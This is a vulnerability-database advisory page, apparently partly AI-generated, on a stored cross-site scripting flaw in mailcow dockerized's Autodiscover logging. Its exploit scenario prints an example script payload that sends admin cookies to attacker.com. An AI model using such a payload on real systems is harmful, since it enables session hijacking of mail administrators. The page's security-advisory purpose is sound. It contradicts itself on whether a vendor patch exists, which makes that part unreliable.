Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious Autodiscover XML request
-
DeliverySubmit unauthenticated request to target mailcow
-
ExploitPayload persists in Redis logs
-
ExecutionAdmin views Autodiscover logs
-
PersistJavaScript executes in admin session
-
ImpactSteal session tokens or perform admin actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the mailcow Autodiscover service to be network-accessible to the attacker (typical for internet-facing mail servers providing autoconfiguration to external email clients). No authentication is required to submit the malicious Autodiscover request. The attack completes when an administrator with access to the admin dashboard views the Autodiscover logs-a routine operational task in mail server administration. The vulnerability exists in default configurations where admin dashboard log rendering lacks output encoding. Attack success depends on admin behavioral patterns (log review frequency) rather than technical prerequisites, making it viable against standard mailcow deployments. |
| Impact | Real-world risk is elevated despite requiring user interaction. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:P) indicates network-accessible exploitation with low complexity requiring only that an admin view logs-a routine administrative task. The cross-scope impact ratings (SC:H/SI:H) correctly identify that compromise extends beyond the vulnerable component to admin sessions and potentially the entire mailcow infrastructure. No EPSS or KEV data provided, but GitHub Security Advisory (GHSA-f9xf-vc72-rcgm) confirms vendor acknowledgment. The attack targets administrators specifically, requiring no authentication for initial payload delivery, making this exploitable by external attackers against internet-facing mailcow instances. Exploitation likelihood increases in environments where admins regularly monitor Autodiscover logs for troubleshooting. The combination of unauthenticated write + admin-context execution elevates this above typical reflected XSS despite the UI:P requirement. |
| Exploit ScenarioDerived | An external attacker crafts an Autodiscover XML request with an EMailAddress field containing JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>). The attacker submits this unauthenticated request to the target mailcow server's Autodiscover endpoint, which logs the malicious EMailAddress to Redis. When a mailcow administrator accesses the admin dashboard and views Autodiscover logs for troubleshooting or monitoring, the unescaped payload executes in their browser session, enabling session hijacking, credential theft, or further administrative actions under the admin's privileges. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 21, 2026
Stored cross-site scripting in mailcow dockerized versions before 2026-03b enables remote attackers to execute arbitrary JavaScript in admin sessions by injecting malicious code through unauthenticated Autodiscover requests. The payload persists in Redis and triggers when administrators view Autodiscover logs on the admin dashboard. CVSS 9.3 reflects the network attack vector and high cross-scope impact, though exploitation requires admin interaction (UI:P) and no public exploit has been identified at time of analysis.
RemediationAI
Upgrade immediately to mailcow dockerized version 2026-03b or later, which implements HTML escaping for EMailAddress values in Autodiscover log rendering per vendor advisory at https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-f9xf-vc72-rcgm. For environments unable to patch immediately, implement network-level controls to restrict Autodiscover endpoint access to trusted IP ranges only (typically internal networks or VPN), though this may disrupt legitimate auto-configuration for remote users. Alternatively, configure Redis key expiration policies to limit log retention duration, reducing exposure window, but this does not prevent exploitation and only shortens payload persistence. Review existing Autodiscover logs for suspicious EMailAddress entries containing HTML tags or JavaScript before and after remediation. No workaround fully mitigates the vulnerability-upgrade is the only complete remediation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability affects mailcow dockerized (CPE: cpe:2.3:a:mailcow:mailcow-dockerized), an open-source containerized groupware and email suite. The flaw is a classic stored XSS (CWE-79) in the admin dashboard's log viewing functionality. The Autodiscover service, which helps email clients auto-configure settings via XML requests, logs the EMailAddress field to Redis without sanitization. When rendering these logs in the admin interface, the application fails to HTML-escape stored values, allowing script injection. This architectural issue combines unauthenticated write capability (Autodiscover accepts external requests) with privileged read context (admin dashboard), creating a privilege escalation pathway from anonymous to admin-level execution.
Know when Mailcow gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
4DescriptionGitHub Advisory
mailcow: dockerized is an open source groupware/email suite based on docker. In versions prior to 2026-03b, the admin dashboard's Autodiscover logs render the EMailAddress value (logged as the "user" field) without HTML escaping. By submitting an unauthenticated Autodiscover request with a crafted EMailAddress containing HTML/JS, the payload is stored in Redis and executed when an admin views the Autodiscover logs. Version 2026-03b fixes the vulnerability.
Executive ViewAI
mailcow Dockerized versions before 2026-03b contain a stored cross-site scripting vulnerability in the Autodiscover feature that allows unauthenticated remote attackers to inject malicious JavaScript into administrator sessions. When admins view Autodiscover logs, the stored payload executes with full admin privileges, enabling account takeover, configuration tampering, and unauthorized access to email infrastructure. Organizations running affected mailcow instances face immediate risk to email system integrity and administrative controls.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to unauthenticated Autodiscover endpoints at the firewall or reverse proxy layer; (2) Disable Autodiscover feature entirely if not actively used; (3) Implement strict Content Security Policy (CSP) headers on admin dashboard to block inline script execution; (4) Monitor and regularly purge Autodiscover logs and Redis cache to minimize stored payload persistence; (5) Enforce multi-factor authentication for all administrator accounts to reduce impact of session compromise; (6) Isolate mailcow infrastructure on a dedicated VLAN with restricted egress filtering.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
mailcow 0.14, as used in "mailcow: dockerized" and other products, has CSRF. Rated high severity (CVSS 8.8), this vulner
mailcow is a dockerized email package, with multiple containers linked in one bridged network. Rated high severity (CVSS
mailcow is a mailserver suite. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, low attack co
mailcow before 2022-05d allows a remote authenticated user to inject OS commands and escalate privileges to domain admin
mailcow is a mailserver suite. Rated high severity (CVSS 8.2), this vulnerability is remotely exploitable, no authentica
mailcow: dockerized is an open source groupware/email suite based on docker. Rated high severity (CVSS 7.1), this vulner
mailcow: dockerized is an open source groupware/email suite based on docker. Rated medium severity (CVSS 6.2), this vuln
mailcow: dockerized is an open source groupware/email suite based on docker. Rated medium severity (CVSS 6.1). Public ex
Stored cross-site scripting (XSS) in mailcow: dockerized (versions prior to 2026-03b) allows remote unauthenticated atta
mailcow is a mail server suite based on Dovecot, Postfix and other open source software, that provides a modern web UI f
Stored cross-site scripting in the mailcow-dockerized administrator Queue Manager allows attackers who can influence Pos
mailcow is a dockerized email package, with multiple containers linked in one bridged network. Rated high severity (CVSS
EUVD-2026-24254
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB